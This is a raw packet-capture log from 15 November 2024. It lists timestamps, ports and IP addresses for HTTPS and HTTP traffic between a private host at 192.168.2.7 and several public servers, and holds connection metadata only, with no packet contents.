Nov 15, 2024 09:55:44.241764069 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.241790056 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.241833925 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.241857052 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.241874933 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.241900921 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.241920948 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.241954088 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.243195057 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.243217945 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.243257046 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.243263006 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.243321896 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.265397072 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.265594959 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.265732050 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.267323971 CET	443	49967	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:44.267388105 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.267417908 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.267440081 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.267446995 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.271395922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271446943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271450043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271465063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271493912 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271508932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271553993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271565914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271576881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271590948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271601915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271604061 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271621943 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271622896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271636963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271646976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271656990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271661997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271671057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271676064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271682024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271704912 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271728992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271764994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271784067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271790981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271792889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271799088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271801949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271821022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271845102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271857023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271867990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271886110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271897078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271902084 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271923065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271924019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271935940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271950006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271951914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.271962881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.271971941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272003889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272011995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272023916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272034883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272046089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272058010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272062063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272078991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272099018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272126913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272139072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272149086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272164106 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272178888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272198915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272270918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272289038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272300959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272310972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272322893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272326946 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272335052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272346973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272351980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272358894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272371054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272372007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272387981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272397041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272408962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272418022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272419930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272444010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272445917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272456884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272461891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272470951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272485018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272490025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272505045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272505045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272516012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272532940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272559881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272593975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272605896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272614956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272627115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272631884 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272649050 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272670984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272671938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272686958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272696972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272707939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272717953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272727966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272735119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272756100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.272958040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.272968054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273000956 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273017883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273020983 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273051977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273082972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273092985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273133039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273161888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273174047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273185015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273206949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273221016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273238897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273248911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273253918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273263931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273283005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273308039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273334980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273345947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273356915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273381948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273402929 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273406029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273417950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273427963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273449898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273473024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273488998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273509026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273519993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273535013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273550987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273561954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273619890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273633003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273643970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273665905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273674965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273688078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273747921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273758888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273776054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273793936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273799896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273807049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273818970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273824930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273830891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273844004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273854017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273854971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273869038 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273874044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273885965 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273896933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273896933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273911953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273924112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273941040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273941040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273957014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273966074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.273968935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273979902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.273983955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274000883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274013042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274020910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274033070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274044037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274058104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274070024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274081945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274106979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274137020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274148941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274158955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274171114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274174929 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274185896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274192095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274199009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274224997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274241924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274244070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274256945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274266958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274290085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274315119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274318933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274331093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274342060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274353027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274360895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274363995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.274379015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.274394989 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.275994062 CET	49977	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.276046038 CET	443	49977	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.276112080 CET	49977	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.276632071 CET	49977	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.276643038 CET	443	49977	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.314897060 CET	49965	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.314908981 CET	49966	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.314912081 CET	443	49965	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.314924002 CET	49967	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.314929962 CET	49964	443	192.168.2.7	23.198.7.187
Nov 15, 2024 09:55:44.314941883 CET	443	49964	23.198.7.187	192.168.2.7
Nov 15, 2024 09:55:44.314943075 CET	49968	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:44.317549944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.317564964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.317586899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.317596912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.317622900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.317671061 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318288088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318309069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318321943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318346977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318375111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318380117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318391085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318424940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318430901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318435907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318447113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318459988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318475008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318483114 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318497896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318507910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318509102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318536997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318614960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318666935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318686962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318698883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318713903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.318739891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.318768978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.354722023 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.354800940 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.354892969 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.355607033 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.355637074 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.355681896 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.355691910 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.355720043 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.356456041 CET	49963	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.356476068 CET	443	49963	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.359927893 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.359956980 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.359986067 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.359993935 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.360898018 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.360920906 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.360992908 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.361017942 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.361033916 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.361165047 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.362561941 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.362590075 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.362617970 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.362626076 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.362658024 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.362679958 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.363662958 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.363682985 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.363756895 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.363764048 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:44.364003897 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:44.375936031 CET	49978	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.375984907 CET	443	49978	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:44.376045942 CET	49978	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:44.382126093 CET	443	49970	204.79.197.219	192.168.2.7
Nov 15, 2024 09:55:44.390198946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390243053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390254021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390278101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390301943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390312910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390320063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390320063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390326977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390336037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390341043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390353918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390363932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390368938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390398979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390410900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390429020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390444994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390558004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390571117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390584946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390604973 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390624046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390630007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390642881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390655041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390680075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390692949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390707016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390719891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390732050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390752077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390767097 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390779018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390793085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390827894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.390839100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390852928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.390892982 CET	49872	80	192.168.2.7	185.215.113.206
